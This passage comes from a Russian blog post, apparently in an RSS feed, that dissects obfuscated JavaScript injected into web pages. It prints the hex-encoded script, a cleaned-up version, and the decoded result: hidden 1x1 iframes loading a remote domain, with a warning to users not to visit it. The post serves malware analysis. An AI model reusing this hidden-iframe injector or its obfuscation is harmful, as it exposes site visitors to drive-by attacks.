<pre class="wp-code-highlight prettyprint">&lt;br /&gt;&lt;p align="left" style="font-size: 10pt; font-family: &quot;Tahoma&quot;,&quot;sans-serif&quot;;"&gt;&lt;span style="color: blue;"&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(163, 21, 21);"&gt;script&lt;/span&gt;&lt;span style=""&gt; &lt;span style="color: red;"&gt;type&lt;/span&gt;&lt;span style="color: blue;"&gt;=&quot;text/javascript&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;function&lt;/span&gt;&lt;span style=""&gt; FE9EDF0D7A4F0CEA(C0F6E21C3D29789AB9){&lt;span style="color: blue;"&gt;return&lt;/span&gt;(parseInt(C0F6E21C3D29789AB9,16));}&lt;span style="color: blue;"&gt;function&lt;/span&gt; F576B68EA1A90A361F95C927A3AB0(A565B7932FBFA569){&lt;span style="color: blue;"&gt;function&lt;/span&gt; CE8A2FD7D1BF2E4EB562543F510(){&lt;span style="color: blue;"&gt;var&lt;/span&gt; DC39130D7AD642103B6E5C7AF9865CF=2;&lt;span style="color: blue;"&gt;return&lt;/span&gt; DC39130D7AD642103B6E5C7AF9865CF;}&lt;span style="color: blue;"&gt;var&lt;/span&gt; D0BEADB5B83CDF2490B4644ECB=&lt;span style="color: rgb(163, 21, 21);"&gt;&quot;&quot;&lt;/span&gt;;&lt;span style="color: blue;"&gt;for&lt;/span&gt;(ABD7632B3272F7A21349C531316B4CE0=0;ABD7632B3272F7A21349C531316B4CE0&lt;A565B7932FBFA569.length;ABD7632B3272F7A21349C531316B4CE0+=CE8A2FD7D1BF2E4EB562543F510()){D0BEADB5B83CDF2490B4644ECB+=(String.fromCharCode(FE9EDF0D7A4F0CEA(A565B7932FBFA569.substr(ABD7632B3272F7A21349C531316B4CE0,CE8A2FD7D1BF2E4EB562543F510()))));}document.write(D0BEADB5B83CDF2490B4644ECB);}F576B68EA1A90A361F95C927A3AB0(&lt;span style="color: rgb(163, 21, 21);"&gt;&quot;3C696672616D65207372633D687474703A2F2F746865746578746465736B2E636F6D2F696E2E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E&quot;&lt;/span&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style="color: blue;"&gt;&lt;/&lt;/span&gt;&lt;span lang="EN-US" style="color: rgb(163, 21, 21);"&gt;script&lt;/span&gt;&lt;span lang="EN-US" style="color: blue;"&gt;&gt;&lt;/span&gt;&lt;span lang="EN-US" style="color: green;"&gt;&lt;!-- c65 --&gt;&lt;!-- o65 --&gt;&lt;/span&gt;&lt;span lang="EN-US" style="color: blue;"&gt;&lt;&lt;/span&gt;&lt;span lang="EN-US" style="color: rgb(163, 21, 21);"&gt;script&lt;/span&gt;&lt;span lang="EN-US" style=""&gt; &lt;span style="color: red;"&gt;type&lt;/span&gt;&lt;span style="color: blue;"&gt;=&quot;text/javascript&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style="color: blue;"&gt;function&lt;/span&gt;&lt;span lang="EN-US" style=""&gt; C2946B9058CAB48202FD5A50(C59A2ACA10C974FCF5D1A){&lt;span style="color: blue;"&gt;function&lt;/span&gt; FA0A27DE1258903845F(){&lt;span style="color: blue;"&gt;var&lt;/span&gt; C6C9C3659A0294961C15C7B1FDD0=16;&lt;span style="color: blue;"&gt;return&lt;/span&gt; C6C9C3659A0294961C15C7B1FDD0;}&lt;span style="color: blue;"&gt;return&lt;/span&gt;(parseInt(C59A2ACA10C974FCF5D1A,FA0A27DE1258903845F()));}&lt;span style="color: blue;"&gt;function&lt;/span&gt; B5002E3EACF261D8EC6(E513FB2F9DA4CE07F1DFF03E1A97F09){&lt;span style="color: blue;"&gt;var&lt;/span&gt; C892862A3FEB78EA987D68C93A459=&lt;span style="color: rgb(163, 21, 21);"&gt;&quot;&quot;&lt;/span&gt;;&lt;span style="color: blue;"&gt;for&lt;/span&gt;(E01A32449D745FFA0CCF09C75FE=0;E01A32449D745FFA0CCF09C75FE&lt;E513FB2F9DA4CE07F1DFF03E1A97F09.length;E01A32449D745FFA0CCF09C75FE+=2){C892862A3FEB78EA987D68C93A459+=(String.fromCharCode(C2946B9058CAB48202FD5A50(E513FB2F9DA4CE07F1DFF03E1A97F09.substr(E01A32449D745FFA0CCF09C75FE,2))));}document.write(C892862A3FEB78EA987D68C93A459);}B5002E3EACF261D8EC6(&lt;span style="color: rgb(163, 21, 21);"&gt;&quot;3C696672616D65207372633D687474703A2F2F746865746578746465736B2E636F6D2F2077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E&quot;&lt;/span&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;&lt;/&lt;/span&gt;&lt;span style="color: rgb(163, 21, 21);"&gt;script&lt;/span&gt;&lt;span style="color: blue;"&gt;&gt;&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;!-- c65 --&gt;&lt;/span&gt;&lt;/p&gt;</pre>
<p>&nbsp;</p>
<p>После некоторых танцев преобразования, получается это:</p>
<p>&nbsp;</p>
<pre class="wp-code-highlight prettyprint">&lt;p align="left" style="font-size: 10pt; font-family: &quot;Tahoma&quot;,&quot;sans-serif&quot;;"&gt;&lt;span lang="EN-US" style="color: blue;"&gt;&lt;&lt;/span&gt;&lt;span lang="EN-US" style="color: rgb(163, 21, 21);"&gt;script&lt;/span&gt;&lt;span lang="EN-US" style=""&gt; &lt;span style="color: red;"&gt;type&lt;/span&gt;&lt;span style="color: blue;"&gt;=&quot;text/javascript&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style="color: blue;"&gt;function&lt;/span&gt;&lt;span lang="EN-US" style=""&gt; Func_1 (Value_1) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;( parseInt(Value_1, 16) );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style="color: blue;"&gt;function&lt;/span&gt;&lt;span lang="EN-US" style=""&gt; Func_2 (Value_2) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;function&lt;/span&gt; Func_3 () {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;var&lt;/span&gt; Var_1 = 2;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt; Var_1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;var&lt;/span&gt; Var_2 = &lt;span style="color: rgb(163, 21, 21);"&gt;&quot;&quot;&lt;/span&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;for&lt;/span&gt; (Value_3 = 0; Value_3 &lt; Value_2.length; Value_3 += Func_3()) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;Var_2 += ( String.fromCharCode (Func_1 (Value_2.substr (Value_3, Func_3()))) );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;document.write (Var_2);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;Func_2 (&lt;span style="color: rgb(163, 21, 21);"&gt;&quot;3C696672616D65207372633D687474703A2F2F746865746578746465736B2E636F6D2F696E2E7068702077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E&quot;&lt;/span&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style="color: blue;"&gt;&lt;/&lt;/span&gt;&lt;span lang="EN-US" style="color: rgb(163, 21, 21);"&gt;script&lt;/span&gt;&lt;span lang="EN-US" style="color: blue;"&gt;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style="color: green;"&gt;&lt;!-- c65 --&gt;&lt;!-- o65 --&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style="color: blue;"&gt;&lt;&lt;/span&gt;&lt;span lang="EN-US" style="color: rgb(163, 21, 21);"&gt;script&lt;/span&gt;&lt;span lang="EN-US" style=""&gt; &lt;span style="color: red;"&gt;type&lt;/span&gt;&lt;span style="color: blue;"&gt;=&quot;text/javascript&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style="color: blue;"&gt;function&lt;/span&gt;&lt;span lang="EN-US" style=""&gt; Func_4 (Value_4) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;function&lt;/span&gt; Func_5 () {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;var&lt;/span&gt; Var_3 = 16;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt; Var_3;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt; ( parseInt ( Value_4, Func_5 () ) );&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style="color: blue;"&gt;function&lt;/span&gt;&lt;span lang="EN-US" style=""&gt; Func_6 (Value_5) { &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;var&lt;/span&gt; Var_4 = &lt;span style="color: rgb(163, 21, 21);"&gt;&quot;&quot;&lt;/span&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;&lt;span style="color: blue;"&gt;for&lt;/span&gt; (Value_6 = 0; Value_6&lt;span style=""&gt;&nbsp; &lt;/span&gt;&lt; Value_5.length; Value_6 += 2) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;Var_4 += ( String.fromCharCode (Func_4 (Value_5.substr(Value_6,2))));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;&lt;span style=""&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/span&gt;document.write(Var_4);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style=""&gt;Func_6(&lt;span style="color: rgb(163, 21, 21);"&gt;&quot;3C696672616D65207372633D687474703A2F2F746865746578746465736B2E636F6D2F2077696474683D31206865696768743D31207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E&quot;&lt;/span&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;&lt;/&lt;/span&gt;&lt;span style="color: rgb(163, 21, 21);"&gt;script&lt;/span&gt;&lt;span style="color: blue;"&gt;&gt;&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;!-- c65 --&gt;&lt;/span&gt;&lt;/p&gt;</pre>
<p>&nbsp;</p>
<p>Теперь ясна архитектура, но мозгом расшифровать, во что же преобразуются эти 2 строки &#8211; это как раз занятие из разряда Brainfuck. Проще изолировать выводимый код, например, в textarea. <br />
Получаем, &#8211; красиво, просто, и неотвратимо:</p>
<p>&nbsp;</p>
<pre class="wp-code-highlight prettyprint">&lt;p align="left" style="font-size: 10pt; font-family: &quot;Tahoma&quot;,&quot;sans-serif&quot;;"&gt;&lt;span lang="EN-US" style="color: blue;"&gt;&lt;&lt;/span&gt;&lt;span lang="EN-US" style="color: rgb(163, 21, 21);"&gt;iframe&lt;/span&gt;&lt;span lang="EN-US" style=""&gt; &lt;span style="color: red;"&gt;src&lt;/span&gt;&lt;span style="color: blue;"&gt;=http://thetextdesk.com/in.php&lt;/span&gt; &lt;span style="color: red;"&gt;width&lt;/span&gt;&lt;span style="color: blue;"&gt;=1&lt;/span&gt; &lt;span style="color: red;"&gt;height&lt;/span&gt;&lt;span style="color: blue;"&gt;=1&lt;/span&gt; &lt;span style="color: red;"&gt;style&lt;/span&gt;&lt;span style="color: blue;"&gt;=&quot;&lt;/span&gt;&lt;span style="color: red;"&gt;display&lt;/span&gt;:&lt;span style="color: blue;"&gt;none&quot;&gt;&lt;/&lt;/span&gt;&lt;span style="color: rgb(163, 21, 21);"&gt;iframe&lt;/span&gt;&lt;span style="color: blue;"&gt;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;span lang="EN-US" style="color: blue;"&gt;&lt;&lt;/span&gt;&lt;span lang="EN-US" style="color: rgb(163, 21, 21);"&gt;iframe&lt;/span&gt;&lt;span lang="EN-US" style=""&gt; &lt;span style="color: red;"&gt;src&lt;/span&gt;&lt;span style="color: blue;"&gt;=http://thetextdesk.com/&lt;/span&gt; &lt;span style="color: red;"&gt;width&lt;/span&gt;&lt;span style="color: blue;"&gt;=1&lt;/span&gt; &lt;span style="color: red;"&gt;height&lt;/span&gt;&lt;span style="color: blue;"&gt;=1&lt;/span&gt; &lt;span style="color: red;"&gt;style&lt;/span&gt;&lt;span style="color: blue;"&gt;=&quot;&lt;/span&gt;&lt;span style="color: red;"&gt;display&lt;/span&gt;:&lt;span style="color: blue;"&gt;none&quot;&gt;&lt;/&lt;/span&gt;&lt;span style="color: rgb(163, 21, 21);"&gt;iframe&lt;/span&gt;&lt;span style="color: blue;"&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN-US" style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;</pre>
<p>&nbsp;</p>
<p>P.S. Пользоваться ссылками тем, кто простой юзер, не рекомендую.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/brainfuck/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

